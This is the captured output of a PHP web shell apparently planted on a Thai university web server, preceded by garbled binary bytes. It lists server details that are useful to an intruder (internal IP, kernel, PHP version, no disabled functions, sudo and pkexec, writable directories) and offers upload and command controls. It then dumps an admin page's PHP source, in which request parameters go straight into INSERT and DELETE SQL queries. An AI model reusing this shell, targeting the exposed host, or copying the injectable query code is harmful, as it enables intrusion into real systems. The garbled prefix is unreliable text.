h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/regisjob/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/regisjob/admin/addnamejob.php
<?php session_start();?>
<?php 
if (!$_SESSION["UserID"]){  //check session
 session_destroy();

	  Header("Location: index1.php"); //ไม่พบผู้ใช้กระโดดกลับไปหน้า login form 
 
}else{?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
		<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
		<meta name="description" content="">
		<meta name="author" content="">
		<title>มหาวิทยาลัยราชภัฎสงขลา</title>  
		<script src="../js/jquery.js"></script>		
		<script src="../js/bootstrap.min.js"></script>
		<script src="../js/bootbox.min.js"></script>
        
        
        
		<link rel="stylesheet" href="../css/bootstrap.min.css">
        <link href="../landingwork_files/style.css" rel="stylesheet">
            <link rel="canonical" href="https://getbootstrap.com/docs/5.1/examples/headers/">

		<script type="text/javascript"> 
			function showSlidingDiv(i){
				var str="#slidingDiv"+i;
				$(str).animate({"height": "toggle"}, { duration: 1000 });
			}
		</script>

<title>มหาวิทยาลัยราชภัฎสงขลา</title>

	
<style type="text/css">
		
    /*header area*/
   /*header area*/
    .top-header{
        /*background: #fff !important;*/
        position: static;
        width: 100%;
        z-index: 99999;
        /* background-image: url('assets/img/topHeaderrgb(89,172,255),rgb(89,172,255).jpg'); */
        height: 25%;
        background-image: linear-gradient(rgb(89,172,255), rgb(89,172,255));
        
    }
    .footer {
        height: 10%;
        display: block;
        background-color: lightblue;
        text-align: center;
        
        /* background-image: url('assets/img/footerrgb(89,172,255),rgb(89,172,255).jpg'); */
        background-image: linear-gradient(rgb(89,172,255), rgb(89,172,255));
        width:100%; 
        left:0; 
        bottom:0;
    }
    .list-group-item.active, 
    .list-group-item.active:hover, 
    .list-group-item.active:focus {
        z-index: 2;
        color: #fff;
        background-color: #82b8e6;
        border-color: #337ab7;
    }
    .menulist .active {
        background: #63aff1;
        border: #000000;

    }
    .menulist li:hover{
            background: #bdd5ea;

    }
    .panel-default > .panel-heading {
        color: #fff;
        background-color: #63aff1;
        font-size: 25px;
    /* border: 1px solid ;
        */
    }
    .panel-default > .panel-heading2 {
        color: #FFFFFF;
        background-color: #CC0000;
        font-size: 28px;
    /* border: 1px solid ;
        */
    }


    .imgHead{
        height: 30%;
        width: 30%;
    }

</script>
</style>
<!-- Custom styles for this template -->
<?php //CONNECT
//$conn=mysqli_connect("localhost","root","","jobregis");
//mysqli_query($conn, "SET NAMES UTF8");


// Create connection
include("../include/connect.php");
?>

<?php
 if(isset($_POST['btns'])){
		$namejob_code=$_POST['namejob_code'];
		$namejob_name=$_POST['namejob_name'];
		$pee_std=$_POST['pee_std'];
		
			$insert=mysqli_query($conn,"INSERT INTO namejob(namejob_code,namejob_name)VALUES ('$namejob_code','$namejob_name')");
		if($insert){
				echo "<script language=\"JavaScript\">";
				echo "alert('บันทึกข้อมูลสำเร็จ');";
				echo "</script>";
				echo "<META HTTP-EQUIV=\"Refresh\" CONTENT=\"0;URL=addnamejob.php\">";

		}else{
				echo "<script language=\"JavaScript\">";
				echo "alert('ไท่สามารถบันทึกข้อมูล');";
				echo "</script>";
			 } //if(mysql_query($sqlcal)){	
}

?>
<?php
 if(isset($_GET['ckde'])==1){
		 $namejob_id=$_GET['namejob_id'];
		
			$depee=mysqli_query($conn,"DELETE FROM namejob WHERE namejob_id='$namejob_id'");
		if($depee){
				echo "<script language=\"JavaScript\">";
				echo "alert('ลบข้อมูลสำเร็จ');";
				echo "</script>";

		}else{
				echo "<script language=\"JavaScript\">";
				echo "alert('ไม่สามารถลบข้อมูลได้');";
				echo "</script>";
			 } //if(mysql_query($sqlcal)){	
}

?>
 </head>
 <body>
 <?php include("head.php");?>
 <!--layout menu -->
		<div class="container" style="margin-bottom:40px;">
			<div class="row" style="padding-top: 20px;">
				<div class="col-md-12 bg-light">
					<!-- information -->
						<div class="bs-callout2 bg-body">
							<center>
 
 <!-- เนื้อหา --->


<div class="container" style="margin-bottom:40px;">
			<div class="row" style="padding-top: 20px;">
				<div class="col-md-12 bg-light">
					<!-- information -->
						<div class="bs-callout2 bg-body">
							<center>
 
 
<div class="container">
  <main>
    <div class="py-8 text-center">
      <img class="d-block mx-auto mb-4" src="../pic/calen.jpg" alt="" width="72" height="57">
      <h2>เพิ่มชื่อตำแหน่งงาน</h2>
    </div>

</div>
      <div class="col-md-7 col-lg-8 text-start">
        <form class="needs-validation" method="post" action="">
        
          <div class="row g-3">
            <div class="col-sm-4">
              <label for="firstName" class="form-label">รหัสตำแหน่งงาน</label>
              <input type="text" class="form-control" name="namejob_code" placeholder="" value="" required>
              <div class="invalid-feedback">
                Valid first name is required.
              </div>
            </div>

            <div class="col-sm-6">
              <label for="lastName" class="form-label">ชื่อตำแหน่ง</label>
              <input type="text" class="form-control" name="namejob_name" placeholder="" value="" required>
              <div class="invalid-feedback">
                Valid last name is required.
              </div>
            </div>
			
          <hr class="my-2">
			<input class="btn btn-primary" type="submit" value="บันทึกข้อมูล" name="btns" onclick="if(confirm('ยืนยันการบันทึกข้อมูล')) return true; else return false;">
        </form>
      </div>
    </div>
  </main>
  
  
						</div>
                                    
				</div>
				<br>
				<div class="col-md-9 col-md-offset-3" style="align:left; padding-top: 5px;">
				</div>
			</div>
		</div>
<?php
//$data=records($conn,"SELECT * FROM jobpee ORDER BY pee_id desc");
$data="SELECT * FROM namejob ORDER BY namejob_id asc";
	$qu=mysqli_query($conn,$data);
	$nu=mysqli_num_rows($qu); 
?>
 
 <!--layout menu -->
		<div class="container" style="margin-bottom:40px;">
			<div class="row" style="padding-top: 20px;">
				<div class="col-md-12 bg-light">
					<!-- information -->
						<div class="bs-callout2 bg-body">
							<center>
 
 <!-- เนื้อหา --->
 <div class="container">
  <main>
    <div class="py-8 text-center">
      <img class="d-block mx-auto mb-4" src="../pic/calen.jpg" alt="" width="72" height="57">
      <h2>เพิ่ม ปีรับสมัคร</h2>
    </div>
</div>

            <table class="table table-hover table-bordered">
                      <tr class="table-info">
                          <td class="table-primary fs-6 text-center">ลำดับ</td>
                          <td class="table-primary fs-6 text-center">รหัส</td>
                          <td class="table-primary fs-6 text-center">ชื่อตำแหน่ง</td>
                          <td class="table-primary fs-6 text-center">แก้ไขข้อมูล</td>
                          <td class="table-primary fs-6 text-center">ลบข้อมูล</td>
                    </tr>
                    <?php
					/*
						for($i=0;$i<count($data);$i++){
							$b=$i+1;*/
							
					if($nu<>'0'){
					 $i=0;
					 while($result=mysqli_fetch_array($qu,MYSQLI_ASSOC))	{
						   $b=$i+1;
						   $i++;
					 ?>
                    <tr>
                      <td class="table-info fs-6 text-center"><?php echo $b;?></td>
                      <td class="table-info fs-6 text-center"><?php echo $result['namejob_code'];?></td>
                      <td class="table-info fs-6 text-center"><?php echo $result['namejob_name'];?></td>
                      <td class="table-info fs-6 text-center">
                      <a class="btn btn-primary" href="editnamejob.php?editnamejob=<?php echo $result['namejob_id'];?>" role="button">แก้ไข</a>
                      </td>
                      <td class="table-info fs-6 text-center">
                      <a class="btn btn-danger" href="addnamejob.php?ckde=1&namejob_id=<?php echo $result['namejob_id'];?>" role="button" onclick="if(confirm('ยืนยันการลบข้อมูล')) return true; else return false;">ลบ</a></td>

                    </tr>
                    <?php } ?>
                    <?php }else{ echo "ไม่พบข้อมูล"; } ?> 
            </table>
<!---จบเนื้อหา -->  
 	</center>
						</div>
                                    
				</div>
				<br>
				<div class="col-md-9 col-md-offset-3" style="align:left; padding-top: 5px;">
				</div>
			</div>
		</div>
<!---จบเนื้อหา -->  
 	</center>
						</div>
                                    
				</div>
				<br>
				<div class="col-md-9 col-md-offset-3" style="align:left; padding-top: 5px;">
				</div>
			</div>
		</div>
 
 
 
<?php include("foot.php");?>

</div>
    <script src="../assets/dist/js/bootstrap.bundle.min.js"></script>



  </body>
</html>
<?php } ?>

Youez - 2016 - github.com/yon3zu
LinuXploit